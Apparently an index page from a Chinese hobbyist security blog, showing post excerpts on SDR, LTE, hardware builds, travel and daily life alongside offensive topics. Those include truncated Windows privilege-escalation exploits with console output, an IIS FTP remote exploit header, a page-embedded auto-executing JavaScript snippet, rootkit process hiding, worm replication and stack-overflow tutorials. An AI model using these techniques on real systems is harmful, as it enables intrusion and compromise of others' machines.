2007年8月5日
摘要: srsLTE代碼主要分為三個模塊，即srsUE、srseNB、srsEPC，另外還包括一些底層的庫函數：
srsUE：實現了物理層到IP層的LTE SDR平臺；
srseNB：全協議棧的LTE eNodeB SDR平臺；
srsEPC：輕量級的LTE核心網實現平臺，包括HSS、MME以及S/P-GW；
lib：一套模塊化的通用庫，包括PHY、MAC、RLC、NAS、S1AP以及GW各層。
系統：ubuntu 16.04，使用實體機，USB3.0，千萬不要用虛擬機，一些指令優化，時序。。。需要非常精準，比如雙向驗證鑒權的時候，差一點都不行。
軟件無線電：bladeRF x40，LimeSDR mini，USRP B200
寫卡：買白卡和寫卡器，不要問我，自己關鍵字搜吧，taobao不讓賣了
安裝順序：UHD，SoapySDR，SoapyUHD，LimeSuite，bladeRF，srsGUI，srsLTE
。。。
閱讀全文
摘要:
一定會有人用這個關鍵字搜到這里的，
原來沒打算寫，網上搜索時候發現很多人深受苦惱，還是寫一下吧。
背景就不解釋了，此方法為下下策，能用武力解決的就盡量少嗶嗶。
。。。
閱讀全文
摘要:
認證很簡單，只需要在FF04的UUID中寫入20字節的值并校驗通過，就可以對手環進行讀寫指令控制。
其實有個更簡單的，只要給Immediate Alert這個屬性發送0x01或者0x02即可啟動“女性娛樂模式”，不需要任何認證：
（這個屬性本來是用來可穿戴設備的找回功能的）
...
閱讀全文
摘要:
(U) Sniffing Proprietary 2.4GHz Signals
使用HackRF或者RTL-SDR加變頻器，那是極好的，但是我最終需要把所有東西都打包到一個小空間里面。
。。。。。。
閱讀全文
摘要:
翻譯部分內容，備忘加鞏固，好多不清楚或錯誤的地方，望高手指正。
extending the work of Thorsten Schr?der and Max Moser
of the KeyKeriki v2.0 project.
NHBadge and a Keyboard。。。。。。
閱讀全文
摘要:
閱讀全文
摘要:
閱讀全文
摘要:
備忘和參考
閱讀全文
摘要:
國外官方是300美元左右，目前買不到，國內有做的，賣2800人民幣，買不起。只能自己做了，好幾個芯片好貴啊，都上百了。
閱讀全文
摘要:
閱讀全文
摘要:
支持手機（感覺可以把手機設置成MODEM模式支持AT命令的應該都可以）
- Samsung Galaxy S3 GT-I9300
- Samsung Galaxy Nexus GT-I9250 (has to be rooted!)
- Samsung Galaxy S2 GT-I9100
- Samsung Galaxy Note 2 GT-N7100
。。。。。。
閱讀全文
摘要:
之前看過好多大牛玩osmocomBB項目，改個手機，連電腦，然后編譯一堆東西，到最后都是開個console，滿屏紅紅綠綠的文字滾動，看著很吊。
但都不說最終能干啥，滾屏完了就沒了，大牛都太低調了，最近有朋友也在搞這個，了解了一下，以下描述都是我最近查閱的大量鳥文資料及少量中文資料之后的理解，如有誤望指出。
OsmocomBB是國外一個開源項目，是GSM協議棧(Protocols stack)的開源實現，全稱是Open source mobile communication Baseband.目的是要實現手機端從物理層(layer1)到layer3的三層實現。
這里記錄一下過程，以便備忘和其它有需要的童鞋少走彎路。
........
閱讀全文
摘要:
前段時間拆我的三星I9250，把音量排線弄斷了，由于幾乎看不到觸點，修修補補好幾個月了，時好時壞，有時候volume+或者volume-被粘滯住了，就無法開機了，重啟直接進入recovery模式或者安全模式，但是之后無法響應任何鍵進入系統，還是得想辦法徹底地修一下。。。。
閱讀全文
摘要:
這小子，始終菊花跟臉同時對著我，算你狠。。。
。。。 閱讀全文
摘要:
Raspberry Pi是一款基于Linux系統的個人電腦，配備一枚700MHz的處理器，256內存，支持SD卡和Ethernet，擁有兩個USB接口，以及 HDMI和RCA輸出支持。
有消息稱，雖然Raspberry Pi看起來非常的迷你——只有一張信用卡大小，但是它能夠運行像《雷神之錘三：競技場》這樣的游戲和進行1080p視頻的播放。但是以這次接TFT屏試用結果看，我覺得至少SPI是純屬扯J8蛋，可能HDMI速度快點，但是就以那編譯內核的速度來看，并不樂觀。
... ...
閱讀全文
摘要:
統一曬一下最近的圖，時間先后順序亂的
。。。。。。
閱讀全文
摘要:
每次都重新推算一遍，年紀大了還是記錄一下吧（ 硬件版的TV-B-Gone的壓縮編碼跳過此段往下看）
N900上有個TVB-Gone的程序，但是程序的紅外編碼往往都是對應的國外的電視，好多國產電視都不支持，
有時候需要遙控空調或者投影之類的，只能自己錄入了，大概看了一下，編碼比較簡單（比硬件那個簡單多了，畢竟不需要考慮程序空間的問題）
（上次錄過一次，這次又重搞一遍，還是記錄一下，以備后用。）
。。。
閱讀全文
摘要:
托rock的福，跟風敗了個Raspberry Pi，（破手機照的，還可以吧 ^_^），安裝配置如下：
閱讀全文
摘要:
最近要破解一個軟件的密碼，發現用的我是007加密的，沒錯，軟件就叫尼瑪我是007，總結下方法：
……
閱讀全文
摘要:
1、The installer needs to commit changes to partition tables, but cannot do so because partitions on the following mount points could not be unmounted: /cdrom
2、ubuntu installer crashed Missing filesystem.size
閱讀全文
摘要:
半夜三更發blog，沒人疼啊。
打算做個模擬USB鍵盤的東東，半夜睡不著，先搭個USB名片試試，效果還挺好的，可以整些惡作劇，多做幾個可以送人，哈哈。
找現有的零件在面包板上測試的，所以不要評價外觀：）
……
閱讀全文
摘要:
之前做了個 27MHz的無線鍵盤監聽，廢了不少勁，一直想做個2.4GHz的，
國內買元器件和做PCB板子太麻煩，少了不做，又貴，中發電子城又遠，懶得跑，每次跑一趟，總有忘了買的，
拖拖拉拉的一直到最近才終于折騰完。
Cortex-M3的資料很少，Jlink調試還不太會搞，不知道是不是那個山寨的Jlink問題。
……
閱讀全文
摘要:
手工畫的，打印的效果肯定會更好……
閱讀全文
摘要:
中發的賣家真黑啊，15一個，我是懶得淘寶買，要了兩個，JS肯定背地里竊喜。
用了一個半，接到一起，效果還不錯。
嚴重感謝明月松溪的耐心指導，
嚴禁評價線圈外觀
閱讀全文
摘要: 芯片買了二批，都是壞的，都開始懷疑我對AVR的理解，甚至重買了個編程器，第三批芯片終于是好的。
結論是國內好多芯片都是假的，悲催啊
……
閱讀全文
摘要:
一個國外的開源項目，通過截獲無線鍵盤發出的信號，來監聽鍵盤按鍵操作，第一個版本支持監聽27MHz的無線鍵盤，第二個版本支持2.4G的無線鍵盤監聽及注入功能，爽。
以前玩過C51單片機，加上本身自學能力和手工焊接功底不錯，磕磕絆絆幾個月下來，終于初步完成了這個小玩意。
這次的芯片是ATMEL的MEGA64A，比之前C51系列的又強大、復雜了不少，制作過程中遇到非常多的問題，在這里鄙視一下（強烈地）國內的知識共享精神
…………
閱讀全文
摘要:
Neopwn：
http://www.neopwn.com/
BackTrack Mobile版，再解釋一下，相當于一個黑客工具集的手機版，裝完才發現，其實主要用到的就wl1251，一個支持注入的網卡驅動，其它的很多功能都是空的，或者不好用，穩定性不好，建議
……
閱讀全文
摘要:
......
轉眼過去多年時間多少離合悲歡
曾經志在四方少年羨慕南飛的燕
各自奔前程的身影匆匆漸行漸遠
未來在哪里平凡啊誰給我答案
那時陪伴我的人啊你們如今在何方
我曾經愛過的人啊現在是什么模樣
......
閱讀全文
摘要:
用相機和手機拍的，幾張白天拍的，幾張晚上拍的，開始分辨率不對，調了下好多了，照片效果一般，實際效果比圖片好很多。
……
閱讀全文
摘要:
有時候下載115網盤的時候會提示“網絡繁忙時段，非登陸用戶其它下載地址暫時關閉。推薦您使用優蛋下載，沒有優蛋？立即下載 ”
其實稍微修改下就可以解決。
……
閱讀全文
摘要:
重裝了N遍驅動，N遍Kmplayer，包括不同版本的，完美解碼等，調試了無數回解碼器，渲染器，分離器什么的，還是沒有解決
最終發現是......
閱讀全文
摘要:
主要工具：烙鐵、鉗子、鉛筆刀（廢了至少6把）、AB膠（至少2對）、砂紙、微型螺絲刀
主要材料：鉛筆×112支（六邊形最便宜那種）、棉簽棍若干、烤肉簽×1根、太陽能板、光控電路（廢了一個）
附屬工具：酌情購買創口帖（以本人神乎其技的刀hua也用了兩三個，殘念）
用時：沒有好工具，而且空余時間構思加制作，花了4個月多點，之后零零散散做了些加工。
另：中間順便去了趟喬家大院 & 平遙古城找找感覺
工具條件比較簡陋，削斜面，切斷之類都是用的鉛筆刀，食指一側都長繭了。
..........
閱讀全文
摘要:
硬件需求：MC5725、小耳朵（天線）、EVDO資費卡、AN/AAA碼、IMSI碼
軟件需求：T60BIOS2.22mod-1802 1804.iso、MC5725驅動、CDMA_Workshop_v2.7.rar、EVDO.prl、QPST_v2.7.rar、EVDO_Watcher.exe
WCDMA太貴，不考慮，移動的還早，現在比較流行的就是電信的EVDO，所以選定MC5725模塊，而且還能GPS，由于國外都沒有中國的機卡分離之說，所以需要把UIM卡的信息刷到模塊上面，這個信息就是AN/AAA碼和IMSI碼，需要電信的內部人員提供，網上有些賣家能提供，不過現在好像越來越嚴了，估計以后很難拿到這些了。
如果需要發短信等普通手機功能，需要刷ESN碼，還有鑒權什么的需要刷AKey，如果只是上3G，只要AN/AAA碼和IMSI碼即可。
以上是這幾天翻閱海量帖子之后就我的理解，如有誤人子弟的地方請指正。
拆機，安裝硬件（之前換過不下5次液晶屏的燈管，此等級的拆機裝機不費吹灰之力）
... 閱讀全文
摘要:
綁定4444端口，Windows 2000 CN + SP4 測試通過，需要能建目錄的用戶，偏移地址若不通用，請自行修改。
#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit
..................
閱讀全文
摘要:
TRS 是英文Text Retrieval System（文本檢索系統）的縮寫，據說是全文檢索、搜索引擎、內容管理及知識管理核心技術和產品的統一，入選2008年度國家規劃布局內重點軟件企業，做某些滲透經常會碰到。
......
閱讀全文
摘要:
鳥文沒太看明白，摸索了一下，$_FILE數組元素解析的問題。
搭個php的環境，目錄在C:\www下，根目錄下有個upload.php代碼如下
......
閱讀全文
摘要:
更新頻度視出差頻度而定
上海虹橋機場
京滬空中快線A8登機口
cheerway snack bar A8/.............
閱讀全文
摘要:
這才是牛逼黑客,控制整棟大廈電力系統,大廈燈光來做背景,改編成游戲!坦克大戰~~
.............
閱讀全文
摘要:
測試成功，點打印后，會彈出計算器
.........
閱讀全文
摘要:
26個字母，26個鋼琴鍵(鍵盤請在關閉漢字輸入法 然后點下上面的FLASH以獲得焦點，才可正常使用)，可以用a-z來彈，也可以用鼠標
下面的音樂，彈出來就知道是什么了
.........
閱讀全文
摘要:
反正很老的機子了，刷壞了大不了買個新的
增加了如下功能：
1. 去網標，那個CMCC
2. 拍照可靜音，上次上課拍老師的投影，安靜的課堂上，咔嚓咔嚓很尷尬
3. 更新聲音和攝像的驅動
4. 增加歌詞秀功能（這個是我迫切需要的功能）
5. 增加來電秀功能（來電或者去電，顯示對方的物理地址）
6. 字體變小，看著舒服一點
7. 比較酷的主題
8. 改walkman界面
9. 修改休眠模式顯示時間的字體
10. 長按側面的＋按鈕，開啟或者關閉照明燈
11. 還有GPS功能，不實用，只顯示兩個十六進制字符串，冒號分割，不知道什么意思，難道是經度緯度？
12. 應該還有，忘了
下面看圖
....................
閱讀全文
摘要:
%tmp:~2,1%
稍微看了下，原來這個字符串是這個意思：%tmp:~2,1% = mid(%tmp%,2,1) = \
......
閱讀全文
摘要:
某些地方畫得有出入，被人一通鄙視
歡總一語道破：觀察太少了
...........
閱讀全文
摘要:
我的有啥補丁打啥補丁的Win2k3 CN SP1測試成功
d:\Churrasco.exe "net user 009 /add"
/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 1948
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 472
.......
閱讀全文
摘要:
“我的電腦黑屏了”
“我的電腦最近不知怎么變得很慢？“
“我上網老是自動彈出頁面，怎么回事？”
“為什么殺毒軟件老是彈出來，每次都是同一個病毒？”
.....................
任何人，我一般都會幫忙，但是長時間停留在這個問題上，會瘋掉的，往往對方的描述不一定精確，光靠說，白白花了一天的時間也有可能搞不定一個小問題
也許有兩種情況我會耐心的給你分析，1：領導，2：美女
我一般會說：“造成這種情況有149834種可能，重裝吧，裝完升級系統，打補丁，裝殺毒，升級病毒庫，不要裝垃圾軟件，不要上色情網站。”
下面講講一般步驟，以下講的都是對付普通病毒，如果說驅動級，rootkit，bootkit什么的，要想讓我用一篇簡單的blog描述清楚恐怕不太現實，讓你清理注入線程，SSDT之類的惡意程序就夠你受的了。
................
閱讀全文
摘要:
閱讀全文
摘要:
080913 北京－八達嶺高速－張家口－張北－寶昌鎮（太仆寺旗）－桑根達來鎮－烏日圖塔拉蘇木－錫林浩特－巴彥寶拉格蘇木－阿爾善寶拉格鎮－額和寶拉格蘇木－烏里亞斯太鎮（東烏珠穆沁旗）
080914 烏里亞斯太鎮（東烏珠穆沁旗）－寶拉格蘇木－巴彥霍布爾－額仁高畢蘇木－滿都胡寶拉格蘇木－寶格達山林場－五岔溝鎮－白狼鎮－阿爾山市
080914 阿爾山游玩一天
080915 阿爾山－白狼鎮－五岔溝鎮－好仁蘇木－科爾沁右翼前旗－突泉鎮－科爾沁右翼中旗－高力板鎮－舍伯吐鎮－通遼－赤峰市
080916 赤峰市－承德市－北京
PS了一下，主要調了下顏色對比度等，裁剪了下尺寸，因為有的在車上拍的，畫面中會有反光鏡：），還有鏡頭上的水珠或者擋風玻璃上的蟲子什么的，盡量PS掉了一些
..........
閱讀全文
摘要:
寫在文章開頭的話：抑郁癥嚴重者，切勿嘗試以下操作
不要被標題誤導了，不是直接一步升完，其實還是從6.10升到7.04再升7.10再升8.04再升8.10，相當漫長
(堅持6.10很久了，由于之前beryl特效是自己配置安裝的，巨麻煩，一直舍不得升級)
.....................
閱讀全文
摘要:
早上馬拉松在家門口經過，下午去五棵松看女籃
十倍光學變焦，不是蓋的，不過別人已經單反了
............
閱讀全文
摘要:
http://www.midomi.com/，首頁點上面的flash，Click and Sing or Hum
害我半夜翻箱倒柜找麥狼嚎，不過我唱的搜出來從來沒對過，我確定是這套系統的識別率有問題，沒錯，確定一定以及肯定。
.........
閱讀全文
摘要:
閱讀全文
摘要:
(之前發的"關于Fs2You怎么才能不被和諧"的文章被和諧掉了)
裝WordPress順便看到的
默認plugins目錄有hello.php文件，不過好像很多插........
閱讀全文
摘要:
最近奧運了，地鐵口變少了，開車單雙號了，馬路變窄了，物價上漲了，斷奶一個禮拜了，股票下跌了，失業率上升了，社會動蕩了，公司加班了，獎金不發了，關鍵是連燴面片都TMD開始放香菜了！
.........
閱讀全文
摘要:
lcx給的，網上的都是放啟動項，這個可以自動執行
<script type="text/javascript">
function killErrors() {
return true;
}
window.onerror = killErrors;
var x;
var obj;
.........
閱讀全文
摘要:
今天找首歌，用kugoo，幾百年不用，賬號還在，提示自動升級，升完有個歌詞的功能灰常不錯，不像以前的歌詞秀那種平均時間分配的顯示歌詞，而是類似卡拉OK的顯示歌詞方式，比較適合跑調王。不是非常精確，不過已經不錯了。
一直用foobar，目前似乎還沒有對應的插件。
......
閱讀全文
摘要:
PS: 實在太經典，不得不轉一下
獻給所有的MGSER和游戲愛好者：
不論是作為psp平臺上目前fami通評分最高的游戲（39分）來看，還是從完美承接了MGS3的劇情來看，合金裝備-掌上行動都是一款不可多得的優秀作品。在曠世神作合金裝備4即將發售之際，提前領略一下這個系列無與倫比的劇情魅力，也是我們獻給每一個熱愛該系列的玩家們小小禮物。
..............
閱讀全文
摘要: 未測試，覺得比較雞肋，能中的人實在太少了
閱讀全文
摘要:
昨晚在吃飯的地方看了將近3小時電視（幾乎不看電視，家里沒電視），震憾，感人
太多太多太多感人的事跡，看著一幕幕畫面，真有自己過去搬石頭，幫忙出力的沖動，人家72小時不休息，大不了我48小時應該沒問題，或者給人送個水什么的，能做什么就做什么。
給朋友打了個電話.......
閱讀全文
摘要:
NESP第一個版本成功后，我就開始著手更加袖珍版本的改造，讓我的NESP更容易攜帶。對于V3版本，我首先需要的是一塊能夠順利運行NES游戲的主版NOAC，對比之前的版本，它的耗電量會更小。當然我不會保證所有NES游戲都能100%兼容，估計會有小部分NES游戲不能運行吧。
.......
閱讀全文
摘要:
經過1個多月的使用時間，第一版本的NESP的缺陷就開始體現出來了。內部的一些保護油脂在我需要更換之前就失去作用了，還有其他的措施也沒有起到預計的作用，主板最終還是被我的手汗侵蝕了。要是這種情況繼續下去的話，按鍵部分的電路會徹底報銷的。
............
閱讀全文
摘要:
在一個黑暗的風雨交加之夜，一名瘋狂的技師正操控著一臺巨大的裝置。他的手中拿著長長的木條，并等待適當的時機進行加工，工作間因為外面狂怒的閃電而充滿白色的光芒。閃電再三擊中建筑物，在被電弧纏繞的房間中，瘋狂技師露出了魔鬼般的笑容。實驗終于完結，把所有裝置移除后，展現在我們面前的是：一個屏幕閃動著藍光的盒子。
...............
閱讀全文
摘要:
Windows的C++沒有pthread_t類型，linux中有個pthread.h，很多站的VC代碼，都不知道從哪包含來的，shit
網上看到有一個叫 POSIX Threads for Win32 的開源項目給出了一個功能比較完善的Windows下pthreads API的實現。
閱讀全文
摘要:
本文的內容是 Win32 API（特別是進程、線程和共享內存服務）到 POWER 上 Linux 的映射。本文可以幫助您確定哪種映射服務最適合您的需要。作者向您詳細介紹了他在移植 Win32 C/C++ 應用程序時遇到的 API 映射。
閱讀全文
摘要:
剛去離我住的地方方圓二里地內最好的飯館吃飯（叫音樂餐廳，這里所謂最好的是指：一個人吃飯價錢還能承受，味道可以，而且吃完還不會拉肚子），晚飯吃得早了點，因為晚上的火車，里面一個人都沒有，除了服務員。坐下一四人小桌，服務員過來撤走三套餐具，留下一套離我最遠的，在我對角的餐具，點了兩個菜一個炒飯，
........
閱讀全文
摘要: Win2k CN SP2 ，Win2k3 CN SP1下測試通過，其它未測試(不裝XP那種垃圾)
D:\>ms08025 whoami
MS08-025 Windows Local Privilege Escalation Vulnerability Exploit
By 009, baicker@hotmail.com
TEST OS: WINDOWS 2k SP2 & WINDOWS 2k3 CN SP1
Kernel is \WINNT\System32\ntoskrnl.exe
Get KernelBase Success, ntoskrnl.exe base = 80400000
Mapping ntoskrnl.exe ... ok
KeServiceDescriptorTable = 008ED280
Find KiServiceTable ... Get ZwVdmControl Number ... ok!
ZwVdmCo 閱讀全文
摘要:
RefControl 0.8.10
要是上次找到這個插件就好了，省得我一遍一遍地用nc修改referer提交
很多防盜鏈和防本地提交是依靠用戶瀏覽器自動提交.......
閱讀全文
摘要: 以下方法修改完后，再刷新本頁就能看到上面圖片
Firefox：輸入about:config進入配置頁面，修改network.http.sendRefererHeader的值為1即可（默認是2），
.....
閱讀全文
摘要:
milw0rm上的，生成器
lcx給的，稍微改了改代碼，據說好用
未測試，最近忙到自殺的時間都沒有
唉，可惜有馬時候沒洞，有洞時候沒馬，要不就找個站掛上了。
http://www.tkk7.com/Files/baicker/Real........
閱讀全文
摘要: http://www.milw0rm.com/sploits/2008-zha0_ms08_014.rar
閱讀全文
摘要:
貌似花了兩小時
閱讀全文
摘要: 開發人員兢兢業業搞研發、開源，商業公司卻拿去申請專利
或許只是看了下面三行，您就忍不住想吐，那么麻煩堅持一下，如果可以的話頂一下日志我會感到萬份榮幸
金山
刪除FAT卷中文件的方法， 申請號：200610122249.5
徹底粉碎FAT卷中文件數據的方法， 申請號：200610122247.6
徹底粉碎NTFS卷中文件數據的方法， 申請號：200610122479.1
一種Windows平臺下對抗API掛接的方法 http://www.cpsfu.com/G06F/2007/CN1936834.shtml
.............
閱讀全文
摘要: 自從orale注入可以執行系統命令后，覺得oracle安全性實在太爛了，容易獲得系統權限，又動不動就死翹翹
昨天給朋友做個滲透測試，稍微掃掃就死了
以前給客戶做滲透測試也經常碰到過oracle死掉的問題
相比MSSQL，估計也就只有巨型數據查詢速度快的優勢了
閱讀全文
摘要:
終于下完了眾人期待的大作，PSP只用來看碟好幾年了，今天終于拷個游戲玩玩
雖然還是拜托不了一個穿著性感的肌肉男，拿著怪異的兵器到處殺人（怪）的模式，不過畫面和游戲性都是不錯的說，操作非常爽快（但是我肯定沒耐心玩完）
最近比較墮落，還有些公司的破事（好像談到公司的事都是破事），沒寫什么技術性的文章也沒看什么技術性的文章
閱讀全文
摘要:
很多攢機的朋友都知道這個規律
品牌機為了吸引顧客，主要配件的配置會讓你看著很高
為了降低成本，往往有某一個或者幾個配件很“缺德”，要么雜牌，要么很低的配置
朋友一臺式機，老抱怨慢，重裝也不行，看分辯率高點的電影還頓，我問配置，答曰：CPU 2.50G 內存248M（估計256M）
朋友機器聯想的
我就寫明牌子了，咋的
閱讀全文
摘要: javascript:window.setTimeout=null;showDirectDownload() 閱讀全文
摘要: 老家的臺式機壞了，好不容易修好了，也沒啥用，就當“碟機”吧，重裝系統，就裝了個winrar和kmplayer
kmplayer播放某些avi文件的時候，對白小到幾乎聽不到，偶爾出現的背景音樂大到嚇人，網上找了很多，準備按照步驟做，發現就沒有提到的解碼方式，我下的是kmplayer帶所有解碼包的版本，估計是沒有注冊。
在命令行到kmplayer的codecs目錄，
執行如下命令：
........
閱讀全文
摘要: 犁式（八字）第一次滑就會了，水平到了一定高度，就很難提升，哈哈，今天恨了下心，租了個教練學平行式的，順便糾正了一下以前犁式的BUG
以下備忘，以便下次滑（說不定一年后），省得又花太多時間復習以前的技術
犁式：內八字（緩坡減速，剎車功效），重心在中間，左轉重心在右腳，右轉重心在左腳（慣性原理，總之重心在坡下那只腳，轉彎外側，如果你不是往坡上滑的話），板基本上水平（不是和破面平），刮雪才能起到減速作用，靠板立起的角度控制滑雪速度。
平行式：先從犁式開始，盡量使內側的腳不受力（重心只在一條腿），能提起來，練習多次并逐漸提前抬腳的時間，直到你可以完全用一條滑雪板轉彎，慢慢的收起來和另一只承重腳平行，如左拐，重心在右腳，左腳和右腳平行，要習慣雙腳一高一低的感覺，用腿部的屈伸調解并保持正確的滑行姿勢，轉彎時盡量將外側的膝蓋置于另一只的后側，方便下一次轉換到直滑和轉彎。
滑行過程中，重心前傾，小腿面和鞋梆之間要明顯感覺到壓力，重心稍低，雙手前伸，保持平衡。挪板使之急停感覺應該是腳跟用力往坡下踩，使板橫過來，高速下腿承受很大沖擊力，得慢慢學習。
原地滑行：外八字 閱讀全文
摘要: 總算是公德圓滿
今年票販子加價比票價還高，真是汗
有兩張安檢那里買的，可靠性沒得說
...............
閱讀全文
摘要: 要寫個修改本地安全策略的工具，本以為修改注冊表就行了，沒想到還挺復雜，改策略，對應的注冊表項會變，倒過來，改對應的注冊表項，策略沒變，郁悶
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account] |--------------------------------修改次數
"F"=hex:02,00,01,00,00,00,00,00,e0,7c,9e,21,1a,12,c6,01,43,00,00,00,00,00,00,\ 00 ~ 22
00,00,80,d2,16,47,b9,ff,ff,00,80,2c,ab,6d,fe,ff,ff,00,00,00,00,00,00,00,80,\ 23 ~ 47
00,cc,1d,cf,fb,ff,ff,ff,00,cc,1d,cf,fb,ff,ff,ff,00,00,00,00,00,00,00,00,f1,\ 48 ~ 72
03,00,00,00,00,00,00,02,00,18,00,00, 閱讀全文
摘要: 任何網站,打開后(有圖片的),瀏覽器輸入
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);
閱讀全文
摘要: 網上找了N多資料,說得我暈頭轉向的,都是TMD資深顧問級別的文章,最后簡單幾步也可以搞定,過程如下:
我的SDK本來就是裝好的,再裝個DDK,就是重裝系統,只要DDK目錄還在,重新指定下即可,不用重裝DDK
DDK目錄為: f:\WINDDK\3790.1830
以下以HelloWorld為例
-----------------------------------------HelloWorld.h---------------------------------------------------
#ifndef __HELLOWORLD_H__
#define __HELLOWORLD_H__
#include
.................
閱讀全文
摘要: 現在RK（rootkit）和ARK(anti- rootkit)的斗爭已經進行了很久，在印象中最早出來的ARK工具是冰刃(IceSword)，從冰刃開始出來到現在RK和ARK的斗爭一直在繼續，目前冰刃還是在流行當中，自己感覺也正是冰刃的出來才帶動了當前流行的RK和ARK的斗爭呵呵，現在很多病毒木馬已經廣泛的帶有驅動,使用一些RK的技術和方法使自己更底層些更強大些，當前流行的ARK工具主要包括：隱藏進程檢測，內核驅動檢測，SSDT檢測，代碼HOOK檢測，注冊表隱藏的檢測，隱藏文件的檢測等一些功能的，下面談談自己對一些功能的簡單愚見 嘻嘻。
..........
閱讀全文
摘要: 方法一： 替換win32k.sys
在2k3的系統下ZwSetSystemInformation禁止了用戶模式下加載驅動，只允許SMSS.exe加載win32k.sys。于是我們可以利用一下這個特點：
1. 注入SMSS.EXE
2. 打開SeLoadDriverPrivilege權限
3. 把原始的win32k.sys改名
4. 復制我們的驅動到\systemroot\system32下
5. 在SMSS.EXE中加載\\SystemRoot\\System32\\win32k.sys
6. 把\\SystemRoot\\System32\\win32k.sys改名
7. 把原始的win32k.sys文件改名改回去
..............
閱讀全文
摘要: 一、蠕蟲病毒具有自我復制能力
我們以普通的VB腳本為例來看看：
JavaScript代碼
1. Set objFs=CreateObject ("Scripting.FileSystemObject")
2. '創建一個文件系統對象
3. objFs.CreateTextFile ("C:\virus.txt", 1)
4. '通過文件系統對象的方法創建了一個TXT文件。
.....................
閱讀全文
摘要: 跟貼中看到已經有不少朋友成功的完成了前面的所有例題，今天我們在前面的基礎上，繼續深入。每一講我都會引入一些新的知識和技術，但只有一點點，因為我希望在您讀完貼之后就能立刻消化吸收，這是標準的循序漸進的案例式學習方法
另外在今天開始之前，我順便說一下后面的教學計劃：
我會再用3～4次的講座來闡述shellcode技術，確保大家能夠在比較簡單的漏洞場景下實現通用、穩定的溢出利用程序（exploit）
..........
閱讀全文
摘要: 麻雀雖小，五臟俱全
如果您順利的學完了前面4講的內容，并成功的完成了第2講和第4講中的實驗，那么今天請跟我來一起挑戰一下劫持有漏洞的進程，并向其植入惡意代碼的實驗，相信您成功完成這個實驗后，學習的興趣和自信心都會暴增。
開始之前，先簡要的回答一下前幾講跟貼中提出的問題
代碼編譯少頭文件問題：可能是個人習慣問題，哪怕幾行長的程序我也會丟到project里去build，而不是用cl，所以沒有注意細節。如果你們嫌麻煩，不如和我一樣用project來build，應該沒有問題的。否則的話，實驗用的程序實在太簡單了，這么一點小問題自己決絕吧。另外，看到幾個同學說為了實驗，專門恢復了古老的VC6.0，我也感動不已啊，呵呵。
...............
閱讀全文
摘要: 上節課沒有操練滴東西，不少蠢蠢欲動的同學肯定已經坐不住了。悟空，不要猴急，下面的兩堂課都是實踐課，用來在實踐中深入體會上節課中的知識，并且很有趣味性哦
信息安全技術是一個對技術性要求極高的領域，除了扎實的計算機理論基礎外、更重要的是優秀的動手實踐能力。在我看來，不懂二進制就無從談起安全技術。
緩沖區溢出的概念我若干年前已經了然于胸，不就是淹個返回地址把CPU指到緩沖區的shellcode去么。然而當我開始動手實踐的時候，才發現實際中的情況遠遠比原理復雜。
................
閱讀全文
摘要: 掃盲班第三講開課啦！
上節課我們用越過數組邊界的一個字節把鄰接的標志變量修改成0，從而突破了密碼驗證程序。您實驗成功了嗎？沒有的話回去做完實驗在來聽今天的課！
有幾個同學反映編譯器的問題，我還是建議用VC6.0，因為它build出來的PE最適合初學者領會概念。而且這門課動手很重要，基本上我的實驗指導都是按VC6.0來寫的，用別的build出來要是有點出入，實驗不成功的話會損失學習積極性滴——實驗獲得的成就感是學習最好的動力。
............
閱讀全文
摘要: 本想來點大道理申明下研究思路啥的，看到大家的熱情期待，稍微調整一下講課的順序。從今天開始，將用3～4次給大家做一下棧溢出的掃盲。
棧溢出的文章網上還是有不少的（其實優秀的也就兩三篇），原理也不難，讀過基本上就能夠明白是怎么回事。本次講解將主要集中在動手調試方面，更加著重實踐。
經過這3～4次的棧溢出掃盲，我們的目標是：
領會棧溢出攻擊的基本原理
能夠動手調試簡易的棧溢出漏洞程序，并能夠利用漏洞執行任意代碼（最簡易的shellcode）
.............
閱讀全文
摘要: 您是否夢想過能夠像電影上演的那樣黑進任意一臺機器遠程操控？您的夢想是否曾經被書店里邊滿架子的反黑，防毒，擒木馬的掃盲書強暴的體無完膚？
從今天開始，準備陸續發一系列關于軟件漏洞方面基礎知識的帖子，包括軟件漏洞的研究價值，研究方法，堆棧利用的基礎知識，shellcode的調試方法，漏洞調試方法，漏洞分析，漏洞挖掘，軟件安全性測試等等，此外還將介紹一些metasploit架構和fuzz測試方面的入門知識。
軟件漏洞分析，利用，發掘是當今安全技術界中流砥柱級別話題，如果您關注過black hat或者defcon之類的頂級安全技術峰會的話，就知道我不是在吹牛了。可惜的是這方面的中文資料很少，偶爾有一篇比較優秀的文章但又不夠系統，目前為止也沒有形成像破解技術這樣的討論風氣，菜鳥們在黑燈瞎火的夜晚瞎折騰，沒有交流和指導，興趣就像被拔了氣彌兒芯的車胎，很快就泄氣了。
雖然漏洞分析與利用與破解在技術上各有側重點，但逆向基礎是共同的。以我個人的經驗，能做crack的朋友只要稍加進修就能入門。就算沒有任何匯編基礎和逆向經驗的朋友也不用擔心，因為這 閱讀全文
摘要: 通過hook ssdt中的ZwQuerySystemInformation來實現隱藏進程已經是很老的技術了。
qiweixue 在他的文章里面寫的很清楚了:
http://bbs.pediy.com/showthread.php?t=36742&highlight=%E9%9A%90%E8%97%8F+%E8%97%8F%E8%BF%9B+%E8%BF%9B%E7%A8%8B
不過他的文章里面，進程名字是直接寫死的，不能通過三層進行傳遞，而且得到ZwQuerySystemInformation是通過匯編的方法，這樣在其他系統上可能會有問題，所以我做了一些改善如下：
1 通過應用程序將進程名字傳遞進來，可以傳遞多個進程名字，格式為：qq.exe;taskmgr.exe;
2 通用的方法來得到ZwQuerySystemInformation的地址，不過這個方法都是從rookit上得來的。
...........
閱讀全文
摘要: 偶然發現OllyDBG.exe導出了一堆函數，這些函數都是供其插件調用的。對這種體系結構很感
